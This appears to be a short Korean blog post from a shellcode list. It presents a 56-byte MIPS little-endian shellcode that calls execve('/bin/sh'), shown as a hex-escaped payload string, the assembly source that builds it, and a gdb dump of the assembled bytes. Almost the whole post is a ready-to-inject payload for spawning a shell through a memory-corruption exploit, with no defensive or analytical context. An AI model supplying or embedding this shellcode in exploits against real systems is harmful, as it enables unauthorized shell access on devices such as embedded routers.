본문 바로가기

List/Shellcode

[mipsel] execve("/bin/sh", [/bin/sh, 0], 0) - 56byte

\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01



출처 : http://smleenull.tistory.com/453


.globl main


main:

lui $2, 28265

addiu $2, $2, 25135

sw $2,-20($29)


lui $3, 26739

addiu $3, $3, 12079

        sw      $3,-16($29)



sw $0,-12($29)

sw $0,-4($29)

addiu $6,$29,-4


        addiu   $4,$29,-20

        sw      $4,-8($29)


        addiu   $5,$29,-8


        li      $2,4011

        syscall



0x4005c0 <main>: 0x69 0x6e 0x02 0x3c

(gdb) 

0x4005c4 <main+4>: 0x2f 0x62 0x42 0x24

(gdb) 

0x4005c8 <main+8>: 0xec 0xff 0xa2 0xaf

(gdb) 

0x4005cc <main+12>: 0x73 0x68 0x03 0x3c

(gdb) 

0x4005d0 <main+16>: 0x2f 0x2f 0x63 0x24

(gdb) 

0x4005d4 <main+20>: 0xf0 0xff 0xa3 0xaf

(gdb) 

0x4005d8 <main+24>: 0xf4 0xff 0xa0 0xaf

(gdb) 

0x4005dc <main+28>: 0xfc 0xff 0xa0 0xaf

(gdb) 

0x4005e0 <main+32>: 0xfc 0xff 0xa6 0x27

(gdb) 

0x4005e4 <main+36>: 0xec 0xff 0xa4 0x27

(gdb) 

0x4005e8 <main+40>: 0xf8 0xff 0xa4 0xaf

(gdb) 

0x4005ec <main+44>: 0xf8 0xff 0xa5 0x27

(gdb) 

0x4005f0 <main+48>: 0xab 0x0f 0x02 0x24

(gdb) 

0x4005f4 <main+52>: 0x0c 0x00 0x00 0x00